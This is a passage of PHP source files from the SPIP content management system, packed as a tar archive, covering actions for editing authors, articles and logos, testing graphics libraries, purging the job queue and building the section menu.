'id_auteur=' . $id_auteur); // .. mettre a jour les fichiers .htpasswd et .htpasswd-admin if ($flag_ecrire_acces or isset($champs['statut']) ) { include_spip('inc/acces'); ecrire_acces(); } // Invalider les caches include_spip('inc/invalideur'); suivre_invalideur("id='auteur/$id_auteur'"); // Pipeline pipeline('post_edition', array( 'args' => array( 'table' => 'spip_auteurs', 'id_objet' => $id_auteur, 'action' => 'instituer', 'statut_ancien' => $statut_ancien, ), 'data' => $champs ) ); // Notifications if ($notifications = charger_fonction('notifications', 'inc')) { $notifications('instituerauteur', $id_auteur, array('statut' => $statut, 'statut_ancien' => $statut_ancien) ); } return implode(' ', array_map('_T', $erreurs)); } // Fonctions Dépréciées // -------------------- /** * Insertion d'un auteur * * @deprecated Utiliser auteur_inserer() * @see auteur_inserer() * * @param string|null $source * @return int */ function insert_auteur($source = null) { return auteur_inserer($source); } /** * Modification d'un auteur * * @deprecated Utiliser auteur_modifier() * @see auteur_modifier() * * @param int $id_auteur * @param array|null $set * @return string|null */ function auteurs_set($id_auteur, $set = null) { return auteur_modifier($id_auteur, $set); } /** * Modifier le statut d'un auteur, ou son login/pass * * @deprecated Utiliser auteur_instituer() * @see auteur_instituer() * * @param int $id_auteur * @param array $c * @param bool $force_webmestre * @return bool|string */ function instituer_auteur($id_auteur, $c, $force_webmestre = false) { return auteur_instituer($id_auteur, $c, $force_webmestre); } /** * Créer une révision d'un auteur * * @deprecated Utiliser auteur_modifier() * @see auteur_modifier() * * @param int $id_auteur * @param array $c * @return string|null */ function revision_auteur($id_auteur, $c = false) { return auteur_modifier($id_auteur, $c); } ecrire/action/tester.php 0000666 00000012741 15226363036 0011330 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action testant une librairie graphique * * @package SPIP\Core\Configurer */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Tester les capacités du serveur à utiliser une librairie graphique * * L'argument transmis dans la clé `arg` est le type de librairie parmi * gd2, gd1, netpbm, imagick ou convert * * L'action crée une vignette en utilisant la librairie indiquée puis * redirige sur l'image ainsi créée (sinon sur une image d'echec). **/ function action_tester_dist() { $arg = _request('arg'); $gd_formats = array(); $gd_formats_read_gif = ""; // verifier les formats acceptes par GD if ($arg == "gd1") { // Si GD est installe et php >= 4.0.2 if (function_exists('imagetypes')) { if (imagetypes() & IMG_GIF) { $gd_formats[] = "gif"; } else { # Attention GD sait lire le gif mais pas forcement l'ecrire if (function_exists('ImageCreateFromGIF')) { $srcImage = @ImageCreateFromGIF(_ROOT_IMG_PACK . "test.gif"); if ($srcImage) { $gd_formats_read_gif = ",gif"; ImageDestroy($srcImage); } } } if (imagetypes() & IMG_JPG) { $gd_formats[] = "jpg"; } if (imagetypes() & IMG_PNG) { $gd_formats[] = "png"; } } else { # ancienne methode de detection des formats, qui en plus # est bugguee car elle teste les formats en lecture # alors que la valeur deduite sert a identifier # les formats disponibles en ecriture... (cf. inc_logos) if (function_exists('ImageCreateFromJPEG')) { $srcImage = @ImageCreateFromJPEG(_ROOT_IMG_PACK . "test.jpg"); if ($srcImage) { $gd_formats[] = "jpg"; ImageDestroy($srcImage); } } if (function_exists('ImageCreateFromGIF')) { $srcImage = @ImageCreateFromGIF(_ROOT_IMG_PACK . "test.gif"); if ($srcImage) { $gd_formats[] = "gif"; ImageDestroy($srcImage); } } if (function_exists('ImageCreateFromPNG')) { $srcImage = @ImageCreateFromPNG(_ROOT_IMG_PACK . "test.png"); if ($srcImage) { $gd_formats[] = "png"; ImageDestroy($srcImage); } } } if (! empty($gd_formats)) { $gd_formats = join(",", $gd_formats); } ecrire_meta("gd_formats_read", $gd_formats . $gd_formats_read_gif); ecrire_meta("gd_formats", $gd_formats); } // verifier les formats netpbm else { if ($arg == "netpbm") { if (!defined('_PNMSCALE_COMMAND')) { define('_PNMSCALE_COMMAND', 'pnmscale'); } // Securite : mes_options.php peut preciser le chemin absolu if (_PNMSCALE_COMMAND == '') { return; } $netpbm_formats = array(); $jpegtopnm_command = str_replace("pnmscale", "jpegtopnm", _PNMSCALE_COMMAND); $pnmtojpeg_command = str_replace("pnmscale", "pnmtojpeg", _PNMSCALE_COMMAND); $vignette = _ROOT_IMG_PACK . "test.jpg"; $dest = _DIR_VAR . "test-jpg.jpg"; $commande = "$jpegtopnm_command $vignette | " . _PNMSCALE_COMMAND . " -width 10 | $pnmtojpeg_command > $dest"; spip_log($commande); exec($commande); if ($taille = @getimagesize($dest)) { if ($taille[1] == 10) { $netpbm_formats[] = "jpg"; } } $giftopnm_command = str_replace("pnmscale", "giftopnm", _PNMSCALE_COMMAND); $pnmtojpeg_command = str_replace("pnmscale", "pnmtojpeg", _PNMSCALE_COMMAND); $vignette = _ROOT_IMG_PACK . "test.gif"; $dest = _DIR_VAR . "test-gif.jpg"; $commande = "$giftopnm_command $vignette | " . _PNMSCALE_COMMAND . " -width 10 | $pnmtojpeg_command > $dest"; spip_log($commande); exec($commande); if ($taille = @getimagesize($dest)) { if ($taille[1] == 10) { $netpbm_formats[] = "gif"; } } $pngtopnm_command = str_replace("pnmscale", "pngtopnm", _PNMSCALE_COMMAND); $vignette = _ROOT_IMG_PACK . "test.png"; $dest = _DIR_VAR . "test-gif.jpg"; $commande = "$pngtopnm_command $vignette | " . _PNMSCALE_COMMAND . " -width 10 | $pnmtojpeg_command > $dest"; spip_log($commande); exec($commande); if ($taille = @getimagesize($dest)) { if ($taille[1] == 10) { $netpbm_formats[] = "png"; } } if ($netpbm_formats) { $netpbm_formats = join(",", $netpbm_formats); } else { $netpbm_formats = ''; } ecrire_meta("netpbm_formats", $netpbm_formats); } } // et maintenant envoyer la vignette de tests if (in_array($arg, array("gd1", "gd2", "imagick", "convert", "netpbm"))) { include_spip('inc/filtres'); include_spip('inc/filtres_images_mini'); $taille_preview = 150; $image = _image_valeurs_trans(_DIR_IMG_PACK . 'test_image.jpg', "reduire-$taille_preview-$taille_preview", 'jpg'); $image['fichier_dest'] = _DIR_VAR . "test_$arg"; if ($preview = _image_creer_vignette($image, $taille_preview, $taille_preview, $arg, true) and ($preview['width'] * $preview['height'] > 0) ) { redirige_par_entete($preview['fichier']); } } # image echec redirige_par_entete(chemin_image('puce-rouge-anim.gif')); } ecrire/action/purger_queue.php 0000666 00000002157 15226363036 0012532 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action de purge des travaux en attente * * @package SPIP\Core\Queue **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Purger la liste des travaux en attente * * @return void */ function action_purger_queue_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $securiser_action(); if (autoriser('purger', 'queue')) { include_spip('inc/queue'); queue_purger(); } } ecrire/action/debloquer_edition.php 0000666 00000002667 15226363036 0013525 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action debloquer_edition * * @package SPIP\Core\Edition */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Lever les blocages d'édition pour l'utilisateur courant * * @uses debloquer_tous() * @uses debloquer_edition() * * @global array visiteur_session * @return void */ function action_debloquer_edition_dist() { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); if ($arg) { include_spip('inc/drapeau_edition'); if ($arg == 'tous') { debloquer_tous($GLOBALS['visiteur_session']['id_auteur']); } else { $arg = explode("-", $arg); list($objet, $id_objet) = $arg; debloquer_edition($GLOBALS['visiteur_session']['id_auteur'], $id_objet, $objet); } } } ecrire/action/menu_rubriques.php 0000666 00000014762 15226363036 0013074 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action d'affichage du navigateur de rubrique du bandeau * * @package SPIP\Core\Rubriques **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/autoriser'); include_spip('inc/texte'); include_spip('inc/filtres'); /** * Action d'affichage en ajax du navigateur de rubrique du bandeau * * @uses gen_liste_rubriques() * @uses menu_rubriques() * * @return string * Code HTML présentant la liste des rubriques **/ function action_menu_rubriques_dist() { // si pas acces a ecrire, pas acces au menu // on renvoi un 401 qui fait echouer la requete ajax silencieusement if (!autoriser('ecrire')) { $retour = "<ul class='cols_1'><li class='toutsite'><a href='" . generer_url_ecrire('accueil') . "'>" . _T('public:lien_connecter') . "</a></li></ul>"; include_spip('inc/actions'); ajax_retour($retour); exit; } if ($date = intval(_request('date'))) { header("Last-Modified: " . gmdate("D, d M Y H:i:s", $date) . " GMT"); } $r = gen_liste_rubriques(); if (!$r and isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) and !strstr($_SERVER['SERVER_SOFTWARE'], 'IIS/') ) { include_spip('inc/headers'); header('Content-Type: text/html; charset=' . $GLOBALS['meta']['charset']); http_status(304); exit; } else { include_spip('inc/actions'); $ret = menu_rubriques(); ajax_retour($ret); } } /** * Retourne une liste HTML des rubriques et rubriques enfants * * @param bool $complet * - false pour n'avoir que le bouton racine «plan du site» * - true pour avoir l'ensemble des rubriques en plus * * @return string * Code HTML présentant la liste des rubriques **/ function menu_rubriques($complet = true) { $ret = "<li class='toutsite'><a href='" . generer_url_ecrire('plan') . "'>" . _T('info_tout_site') . "</a></li>"; if (!$complet) { return "<ul class='cols_1'>$ret\n</ul>\n"; } if (!isset($GLOBALS['db_art_cache'])) { gen_liste_rubriques(); } $arr_low = extraire_article(0, $GLOBALS['db_art_cache']); $total_lignes = $i = sizeof($arr_low); if ($i > 0) { $nb_col = min(8, ceil($total_lignes / 30)); if ($nb_col <= 1) { $nb_col = ceil($total_lignes / 10); } foreach ($arr_low as $id_rubrique => $titre_rubrique) { if (autoriser('voir', 'rubrique', $id_rubrique)) { $ret .= bandeau_rubrique($id_rubrique, $titre_rubrique, $i); $i++; } } $ret = "<ul class='cols_$nb_col'>" . $ret . "\n</ul>\n"; } else { $ret = "<ul class='cols_1'>$ret\n</ul>\n"; } return $ret; } /** * Retourne une liste HTML des rubriques enfants d'une rubrique * * @uses extraire_article() * * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $titre_rubrique * Titre de cette rubrique * @param int $zdecal * Décalage vertical, en nombre d'élément * * @return string * Code HTML présentant la liste des rubriques **/ function bandeau_rubrique($id_rubrique, $titre_rubrique, $zdecal) { static $zmax = 6; $nav = "<a href='" . generer_url_entite($id_rubrique, 'rubrique', '', '', false) . "'>" . supprimer_tags(preg_replace(',[\x00-\x1f]+,', ' ', $titre_rubrique)) . "</a>\n"; // Limiter volontairement le nombre de sous-menus if (!(--$zmax)) { $zmax++; return "\n<li>$nav</li>"; } $arr_rub = extraire_article($id_rubrique, $GLOBALS['db_art_cache']); $i = sizeof($arr_rub); if (!$i) { $zmax++; return "\n<li>$nav</li>"; } $nb_col = 1; if ($nb_rub = count($arr_rub)) { $nb_col = min(10, max(1, ceil($nb_rub / 10))); } $ret = "<li class='haschild'>$nav<ul class='cols_$nb_col'>"; foreach ($arr_rub as $id_rub => $titre_rub) { if (autoriser('voir', 'rubrique', $id_rub)) { $titre = supprimer_numero(typo($titre_rub)); $ret .= bandeau_rubrique($id_rub, $titre, $zdecal + $i); $i++; } } $ret .= "</ul></li>\n"; $zmax++; return $ret; } /** * Obtient la liste des rubriques enfants d'une rubrique, prise dans le cache * du navigateur de rubrique * * @see gen_liste_rubriques() pour le calcul du cache * * @param int $id_p * Identifiant de la rubrique parente des articles * @param array $t * Cache des rubriques * @return array * Liste des rubriques enfants de la rubrique (et leur titre) **/ function extraire_article($id_p, $t) { return array_key_exists($id_p, $t) ? $t[$id_p] : array(); } /** * Génère le cache de la liste des rubriques pour la navigation du bandeau * * Le cache, qui comprend pour chaque rubrique ses rubriques enfants et leur titre, est : * * - réactualisé en fonction de la meta `date_calcul_rubriques` * - mis en cache dans le fichier défini par la constante `_CACHE_RUBRIQUES` * - stocké également dans la globale `db_art_cache` * * @return bool true. **/ function gen_liste_rubriques() { include_spip('inc/config'); // ici, un petit fichier cache ne fait pas de mal $last = lire_config('date_calcul_rubriques', 0); if (lire_fichier(_CACHE_RUBRIQUES, $cache)) { list($date, $GLOBALS['db_art_cache']) = @unserialize($cache); if ($date == $last) { return false; } // c'etait en cache :-) } // se restreindre aux rubriques utilisees recemment +secteurs $where = sql_in_select("id_rubrique", "id_rubrique", "spip_rubriques", "", "", "id_parent=0 DESC, date DESC", _CACHE_RUBRIQUES_MAX); // puis refaire la requete pour avoir l'ordre alphabetique $res = sql_select("id_rubrique, titre, id_parent", "spip_rubriques", $where, '', 'id_parent, 0+titre, titre'); // il ne faut pas filtrer le autoriser voir ici // car on met le resultat en cache, commun a tout le monde $GLOBALS['db_art_cache'] = array(); while ($r = sql_fetch($res)) { $t = sinon($r['titre'], _T('ecrire:info_sans_titre')); $GLOBALS['db_art_cache'][$r['id_parent']][$r['id_rubrique']] = supprimer_numero(typo($t)); } $t = array($last ? $last : time(), $GLOBALS['db_art_cache']); ecrire_fichier(_CACHE_RUBRIQUES, serialize($t)); return true; } ecrire/action/editer_logo.php 0000666 00000012726 15226363036 0012321 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'API de modification/suppression des logos * * @package SPIP\Core\Logo\Edition */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Supprimer le logo d'un objet * * @param string $objet * @param int $id_objet * @param string $etat * `on` ou `off` */ function logo_supprimer($objet, $id_objet, $etat) { $chercher_logo = charger_fonction('chercher_logo', 'inc'); $objet = objet_type($objet); $primary = id_table_objet($objet); include_spip('inc/chercher_logo'); // existe-t-il deja un logo ? $logo = $chercher_logo($id_objet, $primary, $etat); if ($logo) { spip_unlink($logo[0]); } } /** * Modifier le logo d'un objet * * @param string $objet * @param int $id_objet * @param string $etat * `on` ou `off` * @param string|array $source * - array : sous tableau de `$_FILE` issu de l'upload * - string : fichier source (chemin complet ou chemin relatif a `tmp/upload`) * @return string * Erreur, sinon '' */ function logo_modifier($objet, $id_objet, $etat, $source) { $chercher_logo = charger_fonction('chercher_logo', 'inc'); $objet = objet_type($objet); $primary = id_table_objet($objet); include_spip('inc/chercher_logo'); $type = type_du_logo($primary); // nom du logo $nom = $type . $etat . $id_objet; // supprimer le logo eventueel existant logo_supprimer($objet, $id_objet, $etat); include_spip('inc/documents'); $erreur = ''; if (!$source) { spip_log('spip_image_ajouter : source inconnue'); $erreur = 'source inconnue'; return $erreur; } $file_tmp = _DIR_LOGOS . $nom . '.tmp'; $ok = false; // fichier dans upload/ if (is_string($source)) { if (file_exists($source)) { $ok = @copy($source, $file_tmp); } elseif (file_exists($f = determine_upload() . $source)) { $ok = @copy($f, $file_tmp); } } elseif (!$erreur = check_upload_error($source['error'], '', true)) { // Intercepter une erreur a l'envoi // analyse le type de l'image (on ne fait pas confiance au nom de // fichier envoye par le browser : pour les Macs c'est plus sur) $ok = deplacer_fichier_upload($source['tmp_name'], $file_tmp); } if ($erreur) { return $erreur; } if (!$ok or !file_exists($file_tmp)) { spip_log($erreur = "probleme de copie pour $file_tmp "); return $erreur; } $size = @getimagesize($file_tmp); $extension = !$size ? '' : ($size[2] > 3 ? '' : $GLOBALS['formats_logos'][$size[2] - 1]); if ($extension) { @rename($file_tmp, $file_tmp . ".$extension"); $file_tmp = $file_tmp . ".$extension"; $poids = filesize($file_tmp); if (defined('_LOGO_MAX_WIDTH') or defined('_LOGO_MAX_HEIGHT')) { if ((defined('_LOGO_MAX_WIDTH') and _LOGO_MAX_WIDTH and $size[0] > _LOGO_MAX_WIDTH) or (defined('_LOGO_MAX_HEIGHT') and _LOGO_MAX_HEIGHT and $size[1] > _LOGO_MAX_HEIGHT) ) { $max_width = (defined('_LOGO_MAX_WIDTH') and _LOGO_MAX_WIDTH) ? _LOGO_MAX_WIDTH : '*'; $max_height = (defined('_LOGO_MAX_HEIGHT') and _LOGO_MAX_HEIGHT) ? _LOGO_MAX_HEIGHT : '*'; // pas la peine d'embeter le redacteur avec ca si on a active le calcul des miniatures // on met directement a la taille maxi a la volee if (isset($GLOBALS['meta']['creer_preview']) and $GLOBALS['meta']['creer_preview'] == 'oui') { include_spip('inc/filtres'); $img = filtrer('image_reduire', $file_tmp, $max_width, $max_height); $img = extraire_attribut($img, 'src'); $img = supprimer_timestamp($img); if (@file_exists($img) and $img !== $file_tmp) { spip_unlink($file_tmp); @rename($img, $file_tmp); $size = @getimagesize($file_tmp); } } // verifier au cas ou image_reduire a echoue if ((defined('_LOGO_MAX_WIDTH') and _LOGO_MAX_WIDTH and $size[0] > _LOGO_MAX_WIDTH) or (defined('_LOGO_MAX_HEIGHT') and _LOGO_MAX_HEIGHT and $size[1] > _LOGO_MAX_HEIGHT) ) { spip_unlink($file_tmp); $erreur = _T( 'info_logo_max_poids', array( 'maxi' => _T( 'info_largeur_vignette', array( 'largeur_vignette' => $max_width, 'hauteur_vignette' => $max_height ) ), 'actuel' => _T( 'info_largeur_vignette', array( 'largeur_vignette' => $size[0], 'hauteur_vignette' => $size[1] ) ) ) ); } } } if (!$erreur and defined('_LOGO_MAX_SIZE') and _LOGO_MAX_SIZE and $poids > _LOGO_MAX_SIZE * 1024) { spip_unlink($file_tmp); $erreur = _T( 'info_logo_max_poids', array( 'maxi' => taille_en_octets(_LOGO_MAX_SIZE * 1024), 'actuel' => taille_en_octets($poids) ) ); } if (!$erreur) { @rename($file_tmp, _DIR_LOGOS . $nom . ".$extension"); } } else { spip_unlink($file_tmp); $erreur = _T( 'info_logo_format_interdit', array('formats' => join(', ', $GLOBALS['formats_logos'])) ); } return $erreur; } ecrire/action/editer_article.php 0000666 00000040712 15226363036 0013000 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action editer_article et de l'API d'édition d'un article * * @package SPIP\Core\Articles\Edition */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Action d'édition d'un article dans la base de données dont * l'identifiant est donné en paramètre de cette fonction ou * en argument de l'action sécurisée * * Si aucun identifiant n'est donné, on crée alors un nouvel article, * à condition que la rubrique parente (id_rubrique) puisse être obtenue * (avec _request()) * * @link http://code.spip.net/@action_editer_article_dist * @uses article_inserer() * @uses article_modifier() * * @param null|int $arg * Identifiant de l'article. En absence utilise l'argument * de l'action sécurisée. * @return array * Liste (identifiant de l'article, Texte d'erreur éventuel) */ function action_editer_article_dist($arg = null) { include_spip('inc/autoriser'); $err = ""; if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } // si id_article n'est pas un nombre, c'est une creation // mais on verifie qu'on a toutes les donnees qu'il faut. if (!$id_article = intval($arg)) { $id_parent = _request('id_parent'); if (!$id_parent) { $err = _L("creation interdite d'un article sans rubrique"); } elseif (!autoriser('creerarticledans', 'rubrique', $id_parent)) { $err = _T("info_creerdansrubrique_non_autorise"); } else { $id_article = article_inserer($id_parent); } } // Enregistre l'envoi dans la BD if ($id_article > 0) { $err = article_modifier($id_article); } if ($err) { spip_log("echec editeur article: $err", _LOG_ERREUR); } return array($id_article, $err); } /** * Modifier un article * * Appelle toutes les fonctions de modification d'un article * * @param int $id_article * Identifiant de l'article à modifier * @param array|null $set * Couples (colonne => valeur) de données à modifier. * En leur absence, on cherche les données dans les champs éditables * qui ont été postés (via collecter_requests()) * @return string|null * * - Chaîne vide si aucune erreur, * - Null si aucun champ à modifier, * - Chaîne contenant un texte d'erreur sinon. */ function article_modifier($id_article, $set = null) { // unifier $texte en cas de texte trop long trop_longs_articles(); include_spip('inc/modifier'); include_spip('inc/filtres'); $c = collecter_requests( // white list objet_info('article', 'champs_editables'), // black list array('date', 'statut', 'id_parent'), // donnees eventuellement fournies $set ); // Si l'article est publie, invalider les caches et demander sa reindexation $t = sql_getfetsel("statut", "spip_articles", "id_article=" . intval($id_article)); $invalideur = $indexation = false; if ($t == 'publie') { $invalideur = "id='article/$id_article'"; $indexation = true; } if ($err = objet_modifier_champs('article', $id_article, array( 'data' => $set, 'nonvide' => array('titre' => _T('info_nouvel_article') . " " . _T('info_numero_abbreviation') . $id_article), 'invalideur' => $invalideur, 'indexation' => $indexation, 'date_modif' => 'date_modif' // champ a mettre a date('Y-m-d H:i:s') s'il y a modif ), $c) ) { return $err; } // Modification de statut, changement de rubrique ? $c = collecter_requests(array('date', 'statut', 'id_parent'), array(), $set); $err = article_instituer($id_article, $c); return $err; } /** * Insérer un nouvel article en base de données * * En plus des données enregistrées par défaut, la fonction : * * - retrouve un identifiant de rubrique pour stocker l'article (la * première rubrique racine) si l'identifiant de rubrique transmis est * nul. * - calcule la langue de l'article, soit * - d'après la langue de la rubrique si les articles ne sont pas * configurés comme pouvant être traduits, * - d'après la langue de l'auteur en cours si les articles peuvent être traduits et * si la langue de l'auteur est acceptée en tant que langue de traduction * - crée une liaison automatiquement entre l'auteur connecté et l'article * créé, de sorte que la personne devient par défaut auteur de l'article * qu'elle crée. * * @pipeline_appel pre_insertion * @pipeline_appel post_insertion * * @global array meta * @global array visiteur_session * @global string spip_lang * * @param int $id_rubrique * Identifiant de la rubrique parente * @param array|null $set * @return int * Identifiant du nouvel article * */ function article_inserer($id_rubrique, $set = null) { // Si id_rubrique vaut 0 ou n'est pas definie, creer l'article // dans la premiere rubrique racine if (!$id_rubrique = intval($id_rubrique)) { $row = sql_fetsel("id_rubrique, id_secteur, lang", "spip_rubriques", "id_parent=0", '', '0+titre,titre', "1"); $id_rubrique = $row['id_rubrique']; } else { $row = sql_fetsel("lang, id_secteur", "spip_rubriques", "id_rubrique=$id_rubrique"); } // eviter $id_secteur = NULL (erreur sqlite) si la requete precedente echoue // cas de id_rubrique = -1 par exemple avec plugin "pages" $id_secteur = isset($row['id_secteur']) ? $row['id_secteur'] : 0; $lang_rub = $row['lang']; $lang = ""; $choisie = 'non'; // La langue a la creation : si les liens de traduction sont autorises // dans les rubriques, on essaie avec la langue de l'auteur, // ou a defaut celle de la rubrique // Sinon c'est la langue de la rubrique qui est choisie + heritee if (!empty($GLOBALS['meta']['multi_objets']) and in_array('spip_articles', explode(',', $GLOBALS['meta']['multi_objets'])) ) { lang_select($GLOBALS['visiteur_session']['lang']); if (in_array($GLOBALS['spip_lang'], explode(',', $GLOBALS['meta']['langues_multilingue']))) { $lang = $GLOBALS['spip_lang']; $choisie = 'oui'; } } if (!$lang) { $choisie = 'non'; $lang = $lang_rub ? $lang_rub : $GLOBALS['meta']['langue_site']; } $champs = array( 'id_rubrique' => $id_rubrique, 'id_secteur' => $id_secteur, 'statut' => 'prepa', 'date' => date('Y-m-d H:i:s'), 'lang' => $lang, 'langue_choisie' => $choisie ); if ($set) { $champs = array_merge($champs, $set); } // Envoyer aux plugins $champs = pipeline('pre_insertion', array( 'args' => array( 'table' => 'spip_articles', ), 'data' => $champs ) ); $id_article = sql_insertq("spip_articles", $champs); // controler si le serveur n'a pas renvoye une erreur if ($id_article > 0) { $id_auteur = ((is_null(_request('id_auteur')) and isset($GLOBALS['visiteur_session']['id_auteur'])) ? $GLOBALS['visiteur_session']['id_auteur'] : _request('id_auteur')); if ($id_auteur) { include_spip('action/editer_auteur'); auteur_associer($id_auteur, array('article' => $id_article)); } } pipeline('post_insertion', array( 'args' => array( 'table' => 'spip_articles', 'id_objet' => $id_article ), 'data' => $champs ) ); return $id_article; } /** * Modification des statuts d'un article * * Modifie la langue, la rubrique ou les statuts d'un article. * * @global array $GLOBALS ['meta'] * * @pipeline_appel pre_edition * @pipeline_appel post_edition * * @param int $id_article * Identifiant de l'article * @param array $c * Couples (colonne => valeur) des données à instituer * Les colonnes 'statut' et 'id_parent' sont liées, car un admin restreint * peut deplacer un article publié vers une rubrique qu'il n'administre pas * @param bool $calcul_rub * True pour changer le statut des rubriques concernées si un article * change de statut ou est déplacé dans une autre rubrique * @return string * Chaîne vide */ function article_instituer($id_article, $c, $calcul_rub = true) { include_spip('inc/autoriser'); include_spip('inc/rubriques'); include_spip('inc/modifier'); $row = sql_fetsel("statut, date, id_rubrique", "spip_articles", "id_article=$id_article"); $id_rubrique = $row['id_rubrique']; $statut_ancien = $statut = $row['statut']; $date_ancienne = $date = $row['date']; $champs = array(); $d = isset($c['date']) ? $c['date'] : null; $s = isset($c['statut']) ? $c['statut'] : $statut; // cf autorisations dans inc/instituer_article if ($s != $statut or ($d and $d != $date)) { if (autoriser('publierdans', 'rubrique', $id_rubrique)) { $statut = $champs['statut'] = $s; } else { if (autoriser('modifier', 'article', $id_article) and $s != 'publie') { $statut = $champs['statut'] = $s; } else { spip_log("editer_article $id_article refus " . join(' ', $c)); } } // En cas de publication, fixer la date a "maintenant" // sauf si $c commande autre chose // ou si l'article est deja date dans le futur // En cas de proposition d'un article (mais pas depublication), idem if ($champs['statut'] == 'publie' or ($champs['statut'] == 'prop' and ($d or !in_array($statut_ancien, array('publie', 'prop')))) ) { if ($d or strtotime($d = $date) > time()) { $champs['date'] = $date = $d; } else { $champs['date'] = $date = date('Y-m-d H:i:s'); } } } // Verifier que la rubrique demandee existe et est differente // de la rubrique actuelle if (isset($c['id_parent']) and $id_parent = $c['id_parent'] and $id_parent != $id_rubrique and (sql_fetsel('1', "spip_rubriques", "id_rubrique=" . intval($id_parent))) ) { $champs['id_rubrique'] = $id_parent; // si l'article etait publie // et que le demandeur n'est pas admin de la rubrique de destination // repasser l'article en statut 'propose'. if ($statut == 'publie' and !autoriser('publierdans', 'rubrique', $id_parent) ) { $champs['statut'] = 'prop'; } } // Envoyer aux plugins $champs = pipeline('pre_edition', array( 'args' => array( 'table' => 'spip_articles', 'id_objet' => $id_article, 'action' => 'instituer', 'statut_ancien' => $statut_ancien, 'date_ancienne' => $date_ancienne, ), 'data' => $champs ) ); if (!count($champs)) { return ''; } // Envoyer les modifs. editer_article_heritage($id_article, $id_rubrique, $statut_ancien, $champs, $calcul_rub); // Invalider les caches include_spip('inc/invalideur'); suivre_invalideur("id='article/$id_article'"); if ($date) { $t = strtotime($date); $p = @$GLOBALS['meta']['date_prochain_postdate']; if ($t > time() and (!$p or ($t < $p))) { ecrire_meta('date_prochain_postdate', $t); } } // Pipeline pipeline('post_edition', array( 'args' => array( 'table' => 'spip_articles', 'id_objet' => $id_article, 'action' => 'instituer', 'statut_ancien' => $statut_ancien, 'date_ancienne' => $date_ancienne, ), 'data' => $champs ) ); // Notifications if ($notifications = charger_fonction('notifications', 'inc')) { $notifications('instituerarticle', $id_article, array('statut' => $statut, 'statut_ancien' => $statut_ancien, 'date' => $date, 'date_ancienne' => $date_ancienne) ); } return ''; // pas d'erreur } /** * Fabrique la requête de modification de l'article, avec champs hérités * * @global array $GLOBALS ['meta'] * * @param int $id_article * Identifiant de l'article * @param int $id_rubrique * Identifiant de la rubrique parente * @param string $statut * Statut de l'article (prop, publie, ...) * @param array $champs * Couples (colonne => valeur) des champs qui ont été modifiés * @param bool $cond * True pour actualiser le statut et date de publication de la rubrique * parente si nécessaire * @return void|null * null si aucune action à faire * void sinon */ function editer_article_heritage($id_article, $id_rubrique, $statut, $champs, $cond = true) { // Si on deplace l'article // changer aussi son secteur et sa langue (si heritee) if (isset($champs['id_rubrique'])) { $row_rub = sql_fetsel("id_secteur, lang", "spip_rubriques", "id_rubrique=" . sql_quote($champs['id_rubrique'])); $langue = $row_rub['lang']; $champs['id_secteur'] = $row_rub['id_secteur']; if (sql_fetsel('1', 'spip_articles', "id_article=" . intval($id_article) . " AND langue_choisie<>'oui' AND lang<>" . sql_quote($langue))) { $champs['lang'] = $langue; } } if (!$champs) { return; } sql_updateq('spip_articles', $champs, "id_article=" . intval($id_article)); // Changer le statut des rubriques concernees if ($cond) { include_spip('inc/rubriques'); $postdate = ($GLOBALS['meta']["post_dates"] == "non" and isset($champs['date']) and (strtotime($champs['date']) < time())) ? $champs['date'] : false; calculer_rubriques_if($id_rubrique, $champs, $statut, $postdate); } } /** * Réunit les textes decoupés parce que trop longs * * @return void */ function trop_longs_articles() { if (is_array($plus = _request('texte_plus'))) { foreach ($plus as $n => $t) { $plus[$n] = preg_replace(",<!--SPIP-->[\n\r]*,", "", $t); } set_request('texte', join('', $plus) . _request('texte')); } } // Fonctions Dépréciées // -------------------- /** * Créer une révision d'un article * * 